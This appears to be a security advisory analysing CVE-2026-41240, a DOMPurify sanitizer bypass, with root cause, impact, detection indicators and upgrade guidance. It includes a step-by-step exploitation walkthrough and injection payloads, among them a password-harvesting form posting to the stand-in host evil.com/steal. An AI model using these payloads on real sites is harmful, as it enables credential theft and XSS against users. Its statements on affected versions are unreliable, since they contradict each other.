CVE-2026-41240: 
JavaScript vulnerability analysis and mitigation

CVE-2026-41240 is a security feature bypass vulnerability in DOMPurify, a widely used HTML sanitization library, where the FORBID_TAGS directive can be circumvented when a function-based ADD_TAGS predicate is used. Discovered and reported by researcher Koda Reef, it was published on April 20, 2026, and added to the GitHub Advisory Database on April 22, 2026. All DOMPurify versions prior to 3.4.0 (specifically ≤ 3.2.6 per the security advisory) are affected. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 6.0 (Medium) (GitHub Advisory, DOMPurify Advisory).

The root cause is a logic asymmetry in DOMPurify's sanitization pipeline (CWE-79, CWE-183): a prior fix (commit c361baa) correctly added an early-exit guard ensuring FORBID_ATTR always wins over a function-based ADD_ATTR predicate, but the equivalent guard was never applied to FORBID_TAGS. At lines 1118–1123 of purify.ts, when EXTRA_ELEMENT_HANDLING.tagCheck is a function that returns true, JavaScript's short-circuit evaluation causes the (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) condition to never be evaluated, allowing explicitly forbidden tags to pass through sanitization with their attributes intact. Confirmed affected elements include <iframe>, <object>, <embed>, and <form>, with dangerous attributes such as src, action, and data surviving because attribute sanitization runs as a separate pass. Exploitation requires the consuming application to configure DOMPurify with a function-based ADD_TAGS predicate — an uncommon but valid configuration pattern (GitHub Advisory, Fix Commit).

Successful exploitation allows an unauthenticated attacker to inject forbidden HTML elements — such as <iframe src="https://evil.com"> or <form action="https://evil.com/steal"> — into content that is rendered in a victim's browser, enabling cross-site scripting (XSS), credential theft via form hijacking, session hijacking, and potential malware distribution. The vulnerability affects any application that uses DOMPurify with a function-based ADD_TAGS configuration alongside FORBID_TAGS, including downstream IBM products such as Carbon Charts, IBM API Connect, IBM App Connect Enterprise, IBM Aspera Enterprise WebApps, IBM QRadar SIEM, IBM Maximo Application Suite, and IBM Cloud Pak for Integration (GitHub Advisory, IBM Advisory).

A proof-of-concept (PoC) exploit is publicly available in the DOMPurify security advisory, demonstrating the bypass with runnable JavaScript code snippets (DOMPurify Advisory). There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.045% (0.000450), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA KEV catalog. Exploitation is constrained by the requirement that the target application uses a function-based ADD_TAGS configuration, which limits the attack surface to a subset of DOMPurify deployments.

1. Identify a vulnerable target: Find a web application that uses DOMPurify versions < 3.4.0 with a function-based ADD_TAGS predicate (e.g., ADD_TAGS: function(tag) { return true; }) combined with FORBID_TAGS to block dangerous elements.
2. Craft a malicious HTML payload: Construct an HTML snippet containing a forbidden tag such as <iframe src="https://evil.com"></iframe> or <form action="https://evil.com/steal"><input name=password></form>.
3. Submit the payload: Inject the malicious HTML into any user-controlled input field that is subsequently sanitized by the vulnerable DOMPurify configuration (e.g., a comment field, rich-text editor, or chat message).
4. Bypass sanitization: Because EXTRA_ELEMENT_HANDLING.tagCheck returns true for all tags, the short-circuit evaluation skips the FORBID_TAGS check, and the forbidden element passes through sanitization intact with its attributes.
5. Achieve XSS or content injection: When the sanitized output is rendered in another user's browser, the injected <iframe> loads attacker-controlled content, or the <form> redirects credential submissions to the attacker's server, enabling session hijacking, credential theft, or further exploitation (DOMPurify Advisory, GitHub Advisory).

• Network: Outbound requests from user browsers to unexpected external domains (e.g., evil.com) originating from embedded <iframe> elements or form submissions; form POST requests to attacker-controlled URLs from pages that should not contain external forms.
• Logs: Web application logs showing user-submitted content containing raw <iframe>, <form>, <object>, or <embed> tags that were not stripped by the sanitizer; Content Security Policy (CSP) violation reports referencing unexpected external frame sources.
• File System / Application: Stored content in databases or CMS systems containing unsanitized <iframe src="..."> or <form action="..."> HTML with external URLs in fields expected to contain sanitized markup.
• Process/Browser: Browser developer tool network traces showing unexpected cross-origin requests triggered by page content; JavaScript errors or redirects originating from injected iframe or form elements.

Upgrade DOMPurify to version 3.4.0 or later, which adds an early-exit guard ensuring FORBID_TAGS always wins over a function-based ADD_TAGS predicate, mirroring the existing fix for FORBID_ATTR (DOMPurify 3.4.0 Release, Fix Commit). As an interim workaround, avoid using function-based ADD_TAGS predicates in combination with FORBID_TAGS; switch to array-based ADD_TAGS configurations where possible. IBM has issued product-specific patches for affected products including Carbon Charts, IBM API Connect, IBM App Connect Enterprise, IBM Aspera Enterprise WebApps, IBM QRadar SIEM, IBM Maximo Application Suite, and IBM Cloud Pak for Integration — apply the relevant vendor updates as they become available (IBM App Connect, IBM Carbon AI Chat, IBM Cloud Pak).

The vulnerability was responsibly disclosed by researcher Koda Reef directly to the DOMPurify maintainer (Mario Heiderich / cure53), who acknowledged and patched it in DOMPurify 3.4.0 (DOMPurify 3.4.0 Release). IBM issued multiple security bulletins across its product portfolio acknowledging the impact on Carbon Charts, API Connect, Aspera, QRadar, Maximo, and Cloud Pak for Integration (IBM Advisory). Community coverage included a blog post titled "XSSocalypse 2026: How a Single DOMPurify Bypass Just Exposed Your Web App" highlighting the broader implications of the vulnerability for web application security.